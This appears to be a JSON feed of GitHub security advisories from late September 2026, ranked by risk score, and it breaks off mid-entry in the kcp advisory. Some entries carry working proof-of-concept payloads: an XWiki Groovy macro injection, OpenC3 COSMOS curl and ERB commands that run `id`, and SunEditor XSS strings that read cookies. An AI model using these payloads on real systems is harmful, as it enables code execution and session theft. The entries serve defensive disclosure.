[{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-26VP-8GXG-V4PG","cve_id":"CVE-2025-53837","published_at":"2026-09-18T15:05:13Z","updated_at":"2026-09-18T15:05:15Z","summary":"org.xwiki.rendering:xwiki-rendering-xml has an Eval Injection issue","description":"### Impact Any user who can edit their own user profile or any other document can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The reason is that rendering output is included as content of HTML macros without further escaping and it is thus possible to close the HTML macro and inject script macros that are executed with programming rights. This can be demonstrated by adding an object of type `XWiki.UIExtensionClass` to a document with content `{{html wiki=\"true\"}}~{~{~/~h~t~m~l~}~}~ ~{~{~c~a~c~h~e~}~}~{~{~g~r~o~o~v~y~}~}~p~r~i~n~t~l~n~(~1~)~{~{~/~g~r~o~o~v~y~}~}~{~{~/~c~a~c~h~e~}~}{{/html}}`, extension point id `org.xwiki.platform.html.head`, extension id `org.xwiki.myuser.test` and extension scope \"current user\". When opening `<xwiki-server>/xwiki/bin/view/Main/?sheet=CKEditor.ContentSheet&xpage=plain` where `<xwiki-server>` is the URL of the XWiki installation, the output should start with `{{/html}} {{cache}}{{groovy}}println(1){{/groovy}}{{/cache}}` and not with ` 1</p>`. This escaping was always missing at least in XWiki syntax version 2, it is definitely exploitable in XWiki 3.3 Milestone 1 via the user profile (not through extension points), though this has also been fixed by a separate patch, see the [advisory](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-x764-ff8r-9hpx). Exploitable extension points include [`org.xwiki.platform.search.ui.docdoesnotexist`](https://www.xwiki.org/xwiki/bin/view/Documentation/DevGuide/ExtensionPoint/Suggestions%20for%20Document%20Does%20Not%20Exist/) which has been added in XWiki 8.3 Milestone 1. ### Patches This has been patched in XWiki 14.10.2 and 15.0 RC1 by making sure that rendering output cannot close the surrounding HTML macro. ### Workarounds It is in principle possible to add escaping to all places where rendering output is used in wiki documents but at the moment there is no list of them. ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki.org](https://jira.xwiki.org/) * Email us at [Security Mailing List](mailto:)","severity":"critical","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","epss_score":0.00642,"epss_percentile":0.49354,"cwes":"CWE-95","packages":"maven:org.xwiki.rendering:xwiki-rendering-xml","ecosystems":"maven","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"maven:org.xwiki.rendering:xwiki-rendering-xml < 14.10.2","references":"https://github.com/xwiki/xwiki-rendering/security/advisories/GHSA-26vp-8gxg-v4pg https://github.com/xwiki/xwiki-rendering/commit/92bc8095ed3acce15ab200c8525e1623b4898be5 https://github.com/xwiki/xwiki-rendering/releases/tag/xwiki-rendering-14.10.2","source_url":"https://github.com/advisories/GHSA-26vp-8gxg-v4pg","risk_score":64.31,"risk_tier":"p2","risk_rank":1},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-2VH9-42VM-XMV2","cve_id":"CVE-2025-66455","published_at":"2026-09-18T17:03:56Z","updated_at":"2026-09-21T16:20:07Z","summary":"LMDeploy has Remote Code Execution by Pickle Deserialization via handle_zmq_recv in lmdeploy/lmdeploy/pytorch/disagg/conn/engine_conn.py","description":"## Summary LMDeploy's PyTorch DistServe/PD-disaggregation control plane used `recv_pyobj()` to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements `recv_pyobj()` using Python pickle deserialization, which can execute arbitrary code while reconstructing an object. The peer address used by the receiver was supplied through the `POST /distserve/p2p_connect` HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload. API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process. This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow. ## Affected components - HTTP entry point: `lmdeploy/serve/openai/endpoints/distserve.py`, `POST /distserve/p2p_connect` - Attacker-controlled peer address: `DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address` - Vulnerable receiver: `lmdeploy/pytorch/disagg/conn/engine_conn.py`, `EngineP2PConnection.handle_zmq_recv()` - Unsafe operation: `recv_pyobj()`, which performs pickle deserialization ## Vulnerable data flow 1. A caller submits a DistServe P2P connection request containing a ZeroMQ address. 2. The LMDeploy engine connects its ZeroMQ PULL socket to that address. 3. `handle_zmq_recv()` receives messages using `recv_pyobj()`. 4. A malicious peer sends a crafted pickle object. 5. Python code executes during deserialization, before LMDeploy can perform any type or field validation. A type check performed after `recv_pyobj()` cannot mitigate this issue because pickle payload execution occurs during deserialization. ## Impact Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process. ## Affected versions Affected versions: - `lmdeploy >= 0.9.2, < 0.16.0` The vulnerable P2P receiver was introduced in commit `b0b705f7`. ## Remediation The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization: - `send_pyobj()` was replaced with `send_json()`. - `recv_pyobj()` was replaced with `recv_json()`. - Received objects are validated using the `DistServeCacheFreeRequest` Pydantic schema before use. - Invalid or off-schema messages are rejected without terminating the receive loop. Fix commit: https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2 The fix was released in LMDeploy 0.16.0. ## Workarounds Users who cannot upgrade immediately should: - Prevent untrusted clients from reaching `/distserve/*` endpoints. - Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks. - Configure API-key authentication. - Block arbitrary outbound ZeroMQ connections from serving nodes. These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.","severity":"critical","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","epss_score":0.00693,"epss_percentile":0.50788,"cwes":"CWE-502","packages":"pip:lmdeploy","ecosystems":"pip","ml_stack":1,"ml_categories":"serving","package_criticality":1,"has_fix":1,"affected_ranges":"pip:lmdeploy >= 0.9.2, < 0.16.0","references":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-2vh9-42vm-xmv2 https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2 https://github.com/InternLM/lmdeploy/releases/tag/v0.16.0","source_url":"https://github.com/advisories/GHSA-2vh9-42vm-xmv2","risk_score":64.24,"risk_tier":"p2","risk_rank":2},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-RR49-F9G6-C9R5","cve_id":"CVE-2026-57149","published_at":"2026-09-23T13:55:47Z","updated_at":"2026-09-23T13:55:49Z","summary":"plone.app.portlets Vulnerable to Remote Code Execution via TALES Injection","description":"### Impact The Classic portlet (plone.app.portlets.portlets.classic) used its user-supplied template/macro fields to build a TALES path expression that was then evaluated by the TAL path() helper. Because the value was interpreted as a full TALES expression, a user able to add or edit a Classic portlet could supply a crafted value that escapes simple path traversal and is evaluated as arbitrary code. This is exploitable by any authenticated user who can configure a Classic portlet - which, with the default role map, includes regular users on their personal dashboard. The result is code execution in the context of the Plone process, i.e. a privilege escalation across the trust boundary between an authenticated web user and the server-side process. ### Patches The problem has been patched in `plone.app.portlets` * For Plone 6.2, upgrade to `plone.app.portlets` 7.0.2. * For Plone 6.1, upgrade to `plone.app.portlets` 6.0.4. * For Plone 6.0, upgrade to `plone.app.portlets` 5.0.8. ### Workarounds If upgrading is not immediately possible: - Restrict who can manage portlets: remove the `plone.app.portlets.ManageOwnPortlets` permission from untrusted roles, and limit Manage portlets to trusted administrators (usually this is already restricted to the Manager and Site Administrator roles). - Where the Classic portlet is not needed, unregister it so it cannot be added. This would need to be done by editing a `portlets.xml` in your own code, so it is not a quick fix. - You could also effectively disable showing the classic portlet by customising its template. In the Zope Management Interface go to the `portal_view_customizations` tool, locate the `classic.pt` template and click it. Click the Customize button. Remove all text and replace it with `<div>The classic portlet was disabled.</div>`. (This is not a recommended way of customising a template, but in this case it is quite effective.) ### Credits Discovered by Giuseppe Caruso, and reported to the [Plone/Zope Security Team](mailto:). Thanks!","severity":"critical","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","epss_score":0.00638,"epss_percentile":0.48316,"cwes":"CWE-95","packages":"pip:plone.app.portlets","ecosystems":"pip","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"pip:plone.app.portlets >= 5.0.0, <= 5.0.7; pip:plone.app.portlets >= 6.0.0, <= 6.0.3; pip:plone.app.portlets >= 7.0.0, <= 7.0.1","references":"https://github.com/plone/plone.app.portlets/security/advisories/GHSA-rr49-f9g6-c9r5 https://nvd.nist.gov/vuln/detail/CVE-2026-57149 https://github.com/plone/plone.app.portlets/commit/1d9cacacfad9ed08b890dadc6e75741e295dc151","source_url":"https://github.com/advisories/GHSA-rr49-f9g6-c9r5","risk_score":63.99,"risk_tier":"p2","risk_rank":3},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-JJQ7-M736-W977","cve_id":"CVE-2026-77602","published_at":"2026-09-23T18:57:24Z","updated_at":"2026-09-23T18:57:24Z","summary":"OpenC3 COSMOS: Authenticated remote code execution via the user-writable config overlay (table definitions, cmd/tlm definitions, and script suites)","description":"### Summary COSMOS reads configuration from a user-writable overlay (`targets_modified/`) before the read-only plugin-installed `targets/` tree, and the config subsystem executes code on those files: `ConfigParser` renders every file as ERB by default, a `GENERIC_READ_CONVERSION` / `GENERIC_WRITE_CONVERSION` block is evaluated as code by `GenericConversion` (Ruby and Python), and the Script Runner suite analysis `require`s a procedure file. An authenticated user can write into `targets_modified/` below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server. Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition `authorize` ignores the permission string, so any authenticated user qualifies): 1. **Table definitions** (immediate). `tables#generate|report|load` reads a definition from `targets_modified/` and ERB-renders it and evaluates its `GENERIC_*_CONVERSION` block in the `cmd-tlm-api` container. 2. **Command/telemetry definitions** (persistent). A file written to `targets_modified/<TARGET>/cmd_tlm/` is overlaid by `System.setup_targets` and processed by `PacketConfig` in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python `ConfigParser` does not run ERB). It executes on the next microservice (re)start. 3. **Script Runner suites** (immediate). A procedure written to `targets_modified/<TARGET>/procedures/` is `require`d by the suite analysis, reachable at the read-only `script_view` tier through `scripts#body` and `running_script#show` (the analysis subprocess is spawned when `OPENC3_SERVICE_PASSWORD` is configured, which it is in the shipped `.env`). ### Details Root cause. `TargetFile.body` (Ruby `openc3/lib/openc3/utilities/target_file.rb`, Python `openc3/python/openc3/utilities/target_file.py`) reads `{scope}/targets_modified/{name}` before `{scope}/targets/{name}`. The storage-upload endpoint `storage_controller.rb get_upload_presigned_request` is gated at `system_set` and exempts `targets_modified/` and `tmp/` from its `admin` check (so a write there is not admin-gated); for a target path it additionally calls `authorize_bucket_path`, which in the permission-enforcing edition requires `tlm` on the target, while in the open-source edition `authorize` ignores the permission string entirely. `screens_controller.rb create` (`system_set`) stores its request body verbatim under `targets_modified/<target>/screens/`. So a non-admin can place files in the overlay. The config subsystem then executes them. Sink 1, ERB. `ConfigParser#parse_file` renders the file as ERB before parsing (`run_erb` defaults to true): ```ruby # openc3/lib/openc3/config/config_parser.rb:402 output = ERB.new(File.read(filename)...comment_erb(), trim_mode: \"-\").result(...) ``` Reached for table definitions via `tables_controller.rb` -> `Table.get_definitions` -> `TableConfig.process_file` -> `parse_file`, and for cmd/tlm definitions via `System.setup_targets` (`system.rb`, whose overlay loop copies `targets_modified/<T>/cmd_tlm/*` over the read-only files) -> `PacketConfig#process_file` -> `parse_file`. Sink 2, GENERIC conversion. `PacketConfig`/`TableConfig` build a `GenericConversion` from a `GENERIC_READ_CONVERSION_START .. END` / `GENERIC_WRITE_CONVERSION_START .. END` block, and `GenericConversion#call` evaluates it (independent of ERB): ```ruby # openc3/lib/openc3/conversions/generic_conversion.rb (call) eval(@code_to_eval) # Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval() ``` The read conversion fires on `tables#report`/`load` and during telemetry decom; the write conversion fires on `tables#generate` and on `restore_defaults`. Sink 3, suite require. The Script Runner suite analysis executes the file: ```ruby # openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24 require ARGV[1] # runs all top-level code of the supplied file ``` reached from `Script.process_suite`, invoked by `scripts#body` and `running_script#show` (both `script_view`) and `scripts#create` (`script_edit`) when the file matches the suite pattern. Permission tiers. Writing the payload needs `system_set` (screen save, storage upload) or `script_edit` (script create); triggering needs `system` (tables) or `script_view` (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires `admin`, running a script requires `script_run`). ### PoC Table definition path, against a standard stack. Benign payload writes `id` to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above. ```bash BASE=http://localhost:2900/openc3-api # adjust to your deployment TOKEN=$(curl -s -X POST \"$BASE/auth/verify\" -H 'Content-Type: application/json' -d '{\"password\":\"<your password>\"}') # 1) Write the payload into targets_modified/ via the screen save endpoint. curl -s -X POST \"$BASE/screen\" -H \"Authorization: $TOKEN\" \\ --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \\ --data-urlencode $'text=SCREEN AUTO AUTO 1.0\\n<%= File.write(\"/tmp/erb_rce_poc\", `id`) %>\\nLABEL poc' # 2) Trigger by pointing a table action at that file. curl -s -X POST \"$BASE/tables/generate\" -H \"Authorization: $TOKEN\" \\ --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt' ``` Then in the cmd-tlm-api container: `cat /tmp/erb_rce_poc` shows `uid=1001(openc3) ...`. The `tables/generate` request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran. The same outcome without ERB, using the GENERIC sink, on the same `tables/generate` trigger: ``` TABLE \"data\" BIG_ENDIAN KEY_VALUE \"poc\" APPEND_PARAMETER \"item1\" 8 UINT 0 255 0 \"Item\" GENERIC_WRITE_CONVERSION_START `id > /tmp/erb_rce_poc` 0 GENERIC_WRITE_CONVERSION_END ``` cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to `targets_modified/<TARGET>/cmd_tlm/<file>.txt` via the storage-upload presigned request (`system_set`), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to `targets_modified/<TARGET>/procedures/<x>.rb` and call `scripts#body` on it at `script_view`. The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance. ### Impact Arbitrary code execution as the `openc3` user in the `cmd-tlm-api` container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to `127.0.0.1:2900`, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the `AV:N` rating reflects that standard remote-operator exposure. All paths require valid authentication, and the triggering permissions (`system`/`system_set`/`script_view`) are below the `admin`/`script_run`/plugin-install tiers where COSMOS gates code execution. In the open-source edition `authorize` checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests. ### Suggested fix The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly: - Load table and cmd/tlm definitions for code-execution paths from the read-only `targets/` tree only, or parse the `targets_modified` overlay with ERB disabled (`run_erb=false`); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature. - Allow only admin and the server-side dynamic-packet mechanism to write a `cmd_tlm` overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently. - Run the Script Runner suite analysis (which executes the file) only at the `script_run` tier, at every entry point. - Mirror the definition-read change in the Python implementation.","severity":"critical","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","epss_score":0.00574,"epss_percentile":0.44993,"cwes":"CWE-94","packages":"rubygems:openc3","ecosystems":"rubygems","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"rubygems:openc3 >= 5.1.0, <= 7.2.1","references":"https://github.com/OpenC3/cosmos/security/advisories/GHSA-jjq7-m736-w977 https://github.com/OpenC3/cosmos/pull/3488 https://github.com/OpenC3/cosmos/commit/71943352a28128ef3e7e894319d97a656b5cd4f2","source_url":"https://github.com/advisories/GHSA-jjq7-m736-w977","risk_score":63.0,"risk_tier":"p2","risk_rank":4},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-J43X-5HJQ-RGXF","cve_id":"CVE-2026-54892","published_at":"2026-09-23T14:00:22Z","updated_at":"2026-09-23T14:00:23Z","summary":"Plug: quadratic-time decoding of nested query/body parameters enables denial of service","description":"### Summary Plug's nested-parameter decoder (`Plug.Conn.Query`) parses URL-encoded keys in time quadratic in their bracket-nesting depth. Any unauthenticated remote attacker that can reach a Plug-based HTTP endpoint can pin a BEAM scheduler for minutes with a single small request. ### Details For a key like `a[a][a]...=1`, `Plug.Conn.Query.split_keys/6` (in `lib/plug/conn/query.ex`) builds an accumulator of `:binary.part` prefixes (`a`, `a[a]`, `a[a][a]`, …) that grow ~3 bytes per level. `Plug.Conn.Query.insert_keys/3` then does one `Map.put` per level keyed on that growing prefix, hashing the full byte range each time, and `Plug.Conn.Query.finalize_pointer/2` repeats the prefix-keyed walk to materialize the structure. Total cost is `O(N²)` in nesting depth. The same code path handles query strings, `application/x-www-form-urlencoded` bodies, and multipart field names via `Plug.Conn.Query.decode/4` and `decode_each/2`. The default `Plug.Parsers.URLENCODED` cap is 1 MB (~333,000 nesting levels), but `Plug.Parsers` accepts urlencoded payloads up to its overall body limit (20 MB by default), so an attacker can scale the per-request work well beyond the urlencoded-specific cap. The decoder shows ~4× scaling per 2× input (16k levels ≈ 195 ms on a single scheduler). ### PoC 1. POST `a[a][a]...[a]=1` as `application/x-www-form-urlencoded` to any endpoint of a Plug-based app. Even at the 1 MB urlencoded-parser default the payload carries ~333,000 nesting levels; with the broader `Plug.Parsers` body limit (20 MB default) a single request can carry millions. 2. Launch one such request per scheduler concurrently. Each pins a scheduler for minutes; legitimate traffic stalls once all schedulers are busy. ### Impact A single low-bandwidth sender can render any internet-reachable Plug-based service (most Phoenix and standalone Elixir/Erlang web stacks) unresponsive. No credentials, specific endpoint, or prior knowledge of the application is required. ### References * Introduction commit: https://github.com/elixir-plug/plug/commit/712b875d3442c765d8d37e546ffd5ad9f8afcc55 * Patch commit: https://github.com/elixir-plug/plug/commit/b4aa8a0665ce2726a6d5af44467fb4f59595b107","severity":"high","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","epss_score":0.00949,"epss_percentile":0.59702,"cwes":"CWE-407","packages":"erlang:plug","ecosystems":"erlang","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"erlang:plug >= 1.15.0, < 1.15.5; erlang:plug >= 1.16.0, < 1.16.4; erlang:plug >= 1.17.0, < 1.17.2; erlang:plug >= 1.18.0, < 1.18.3; erlang:plug >= 1.19.0, < 1.19.3","references":"https://github.com/elixir-plug/plug/security/advisories/GHSA-j43x-5hjq-rgxf https://nvd.nist.gov/vuln/detail/CVE-2026-54892 https://github.com/elixir-plug/plug/commit/9c5d37c440eaae92869eed7c014c47266744fadb","source_url":"https://github.com/advisories/GHSA-j43x-5hjq-rgxf","risk_score":61.41,"risk_tier":"p2","risk_rank":5},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-5JPJ-293F-RHVJ","cve_id":"CVE-2026-62371","published_at":"2026-09-22T20:37:04Z","updated_at":"2026-09-22T20:37:06Z","summary":"KubeEdge: Command Injection in NodeUpgradeJob - RCE on edge nodes via v1alpha2 API","description":"## Impact The KubeEdge NodeUpgradeJob handler constructed the `keadm upgrade edge` command by concatenating the user-controlled `spec.version` and `spec.image` fields into a shell command. An authenticated user with permission to create or update `NodeUpgradeJob` resources through the v1alpha2 API could include shell metacharacters in either field. When the upgrade job was processed, the injected command could be executed on the targeted edge node with the privileges available to the upgrade process. Successful exploitation could result in arbitrary command execution and compromise the confidentiality, integrity, and availability of the affected edge node. ## Patches The fix removes shell-based command construction and invokes `keadm` using a structured argument list through `exec.Command`. The version and image values are passed as separate literal arguments and are no longer interpreted by a command shell. The fixed versions: * KubeEdge v1.23.1 * KubeEdge v1.22.2 * KubeEdge v1.21.2 ## Workarounds Until a patched version is available: * restrict permission to create or update `NodeUpgradeJob` resources to trusted administrators; * do not allow untrusted users or tenants to control the `spec.version` or `spec.image` fields; * avoid using NodeUpgradeJob-based edge upgrades in environments where these fields may be influenced by untrusted users. ## Credits KubeEdge thanks Sang-Hoon Choi ([KoreaSecurity](https://github.com/KoreaSecurity), Sejong University) for responsibly reporting this issue and for coordinating with the KubeEdge maintainers through the security disclosure process.","severity":"high","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","epss_score":0.00889,"epss_percentile":0.57562,"cwes":"CWE-78","packages":"go:github.com/kubeedge/kubeedge","ecosystems":"go","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"go:github.com/kubeedge/kubeedge >= 1.12.0, < 1.21.2; go:github.com/kubeedge/kubeedge >= 1.22.0, < 1.22.2; go:github.com/kubeedge/kubeedge >= 1.23.0, < 1.23.1","references":"https://github.com/kubeedge/kubeedge/security/advisories/GHSA-5jpj-293f-rhvj https://nvd.nist.gov/vuln/detail/CVE-2026-62371 https://github.com/kubeedge/kubeedge/pull/7028","source_url":"https://github.com/advisories/GHSA-5jpj-293f-rhvj","risk_score":61.27,"risk_tier":"p2","risk_rank":6},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-M3C6-2P7H-CFR3","cve_id":"CVE-2026-62182","published_at":"2026-09-22T20:36:44Z","updated_at":"2026-09-22T20:36:49Z","summary":"KubeEdge: ConfigUpdateJob updateFields enables remote shell injection and code execution on edge nodes","description":"## Description KubeEdge ConfigUpdateJob processing was vulnerable to command injection on edge nodes. The `updateFields` values from a ConfigUpdateJob were concatenated into a command string and executed through a system shell. An authenticated user with sufficient permissions to create or update ConfigUpdateJob resources could include shell metacharacters in the supplied configuration fields and cause unintended commands to be executed on targeted edge nodes. ## Impact Successful exploitation could allow an authenticated attacker to execute arbitrary commands on affected edge nodes with the privileges of the KubeEdge process handling the ConfigUpdateJob. The attacker must already have permission to create or modify ConfigUpdateJob resources and target an enrolled edge node. ## Patches The fix removes shell-based command construction and invokes `keadm config-update` using structured command arguments. The complete `--set` value is passed as a single literal argument, preventing shell metacharacters from being interpreted as commands. Fixes are planned for the following maintained releases: * v1.23.1 * v1.22.2 * v1.21.2 ## Workarounds Until a patched release is available: * restrict RBAC permissions for creating or modifying ConfigUpdateJob resources; * allow only trusted administrators to submit configuration update jobs; * avoid using ConfigUpdateJob in environments where its input cannot be fully trusted; * monitor ConfigUpdateJob resources and edge-node process activity for unexpected commands or changes. ## Credits KubeEdge thanks Sang-Hoon Choi ([KoreaSecurity](https://github.com/KoreaSecurity), Sejong University) for responsibly reporting this issue and for coordinating with the KubeEdge maintainers through the security disclosure process.","severity":"high","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","epss_score":0.00889,"epss_percentile":0.57562,"cwes":"CWE-78","packages":"go:github.com/kubeedge/kubeedge","ecosystems":"go","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"go:github.com/kubeedge/kubeedge >= 1.21.0, < 1.21.2; go:github.com/kubeedge/kubeedge >= 1.22.0, < 1.22.2; go:github.com/kubeedge/kubeedge >= 1.23.0, < 1.23.1","references":"https://github.com/kubeedge/kubeedge/security/advisories/GHSA-m3c6-2p7h-cfr3 https://nvd.nist.gov/vuln/detail/CVE-2026-62182 https://github.com/kubeedge/kubeedge/pull/7028","source_url":"https://github.com/advisories/GHSA-m3c6-2p7h-cfr3","risk_score":61.27,"risk_tier":"p2","risk_rank":7},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-6RF4-V2FH-M6P4","cve_id":"CVE-2026-59167","published_at":"2026-09-24T14:57:55Z","updated_at":"2026-09-24T14:57:55Z","summary":"SunEditor: Critical XSS vulnerability - sanitizer bypass","description":"## Summary SUNEDITOR `v2.47.10` appears to allow JavaScript execution through crafted namespaced HTML elements. The sanitization logic does not fully remove executable event-handler attributes from certain custom/namespaced tags. As a result, an attacker may be able to inject HTML content that executes JavaScript when the rendered element is interacted with. This behavior was observed after the changes introduced in this commit: https://github.com/JiHong88/suneditor/commit/9ed405fb0de676e56cd0e6a13c19c103ad5948d3 --- ## Affected Version Confirmed vulnerable: * SUNEDITOR =< `2.47.10` Potentially affected: * Previous versions, if the same sanitization logic is still present --- ## Proof of Concept The following payload preserves an executable event handler: ```html <a:b src=\"/x\"><iframe src=javascript:alert(1)></iframe></a:b> <p><a:b src=\"/x\" onclick=\"document.body.style.background='red'\">click</a:b></p> ``` Simplified PoC: ```html <a:b src=\"/x\" onclick=\"console.log('XSS:',document.domain,document.cookie)\">click</a:b> ``` ```html <p><a:b src=\"/x\" onmouseover=\"alert('XSS — '+document.domain)\">📎 Click here for solutions</a:b></p> ``` --- ## Steps to Reproduce 1. Open SUNEDITOR using version `2.47.10`. 2. Insert the payload above into the editor. 3. Save or render the generated content. 4. Click the generated element. 5. Observe that JavaScript is executed. --- ## Impact This may allow an attacker to inject arbitrary JavaScript into rendered editor content. Depending on how SUNEDITOR is integrated into an application, this could lead to: * Stored XSS * DOM manipulation * Session theft * Credential theft * Account takeover actions performed in the victim’s browser context --- ## Technical Details The issue appears to be related to incomplete handling of namespaced/custom HTML elements such as: ```html <a:b> ``` Event-handler attributes such as `onclick` can remain attached to these crafted elements and execute when interacted with. This suggests that the sanitization process may not consistently normalize and validate custom or namespaced elements before applying attribute filtering. --- ## Suggested Remediation Possible mitigations include: * Normalize DOM elements before sanitization. * Explicitly reject or unwrap unknown/custom/namespaced tags. * Strip all event-handler attributes from all elements, including unknown/custom elements. * Re-validate sanitized output after browser DOM parsing. * Add regression tests for namespaced/custom tag payloads. ---","severity":"critical","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","epss_score":0.00393,"epss_percentile":0.30657,"cwes":"CWE-79","packages":"npm:suneditor","ecosystems":"npm","ml_stack":0,"ml_categories":"","package_criticality":0,"has_fix":1,"affected_ranges":"npm:suneditor <= 2.47.10","references":"https://github.com/JiHong88/suneditor/security/advisories/GHSA-6rf4-v2fh-m6p4 https://nvd.nist.gov/vuln/detail/CVE-2026-59167 https://github.com/JiHong88/suneditor/issues/1646","source_url":"https://github.com/advisories/GHSA-6rf4-v2fh-m6p4","risk_score":59.2,"risk_tier":"p2","risk_rank":8},{"snapshot_week":"2026-W39","fetched_at":"2026-09-24T00:00:00+00:00","ghsa_id":"GHSA-C8W2-FGVX-VHV4","cve_id":"CVE-2026-61682","published_at":"2026-09-18T17:15:49Z","updated_at":"2026-09-18T17:15:53Z","summary":"kcp front-proxy does not strip inbound X-Remote-* identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace","description":"# Summary The kcp front-proxy fails to strip client-supplied identity headers before forwarding requests to shards. Any authenticated tenant can inject their own `X-Remote-Group` and `X-Remote-Extra-*` headers, which the shard trusts as a verified identity assertion — allowing a low-privilege user to escalate to cluster administrator (`system:masters`) and read, write, or delete resources in any workspace on the shard. This is a complete multi-tenant isolation and authorization bypass. ## Impact In a sharded kcp deployment, external clients reach shards through the front-proxy, which authenticates the client and then forwards the resulting identity to the shard using Kubernetes request-header authentication (`X-Remote-User` / `X-Remote-Group` / `X-Remote-Extra-*`). The shard trusts these headers because they arrive over the front-proxy's mutually-authenticated connection. Because the front-proxy appended its identity headers instead of replacing them — and never removed any copies the client sent — an authenticated attacker could smuggle forged identity headers through to the shard. With this, an attacker holding any ordinary credential (client certificate, OIDC token, or service-account token) and no special privileges could: - assert `X-Remote-Group: system:masters` and act as cluster super-user, bypassing the entire kcp authorizer chain in every workspace on the shard; - forge `authorization.kcp.io/warrant` to assume an arbitrary user/group identity via kcp's delegated-identity mechanism; - forge `authentication.kcp.io/scopes` to escape the cluster-scoping that confines service-account and impersonated identities to their origin workspace; - satisfy per-workspace required-group gating by injecting the required group. The result is arbitrary read/write/delete access to any tenant's resources, secrets, RBAC, APIExports/APIBindings, and LogicalClusters — a cross-workspace access break and authorizer bypass across the proxy's trust boundary. # Patches Fixed in v0.31.4, 0.32.2. The front-proxy and the shard's in-process local-proxy now unconditionally remove any inbound `X-Remote-*` identity headers before stamping the authenticated identity, so no client-supplied value can be forwarded to a shard. Operators should upgrade to a patched release. No configuration changes are required after upgrading. # Workarounds There is no complete workaround other than upgrading. Deployments that terminate client connections at an external proxy capable of stripping `X-Remote-User`, `X-Remote-Group`, and all 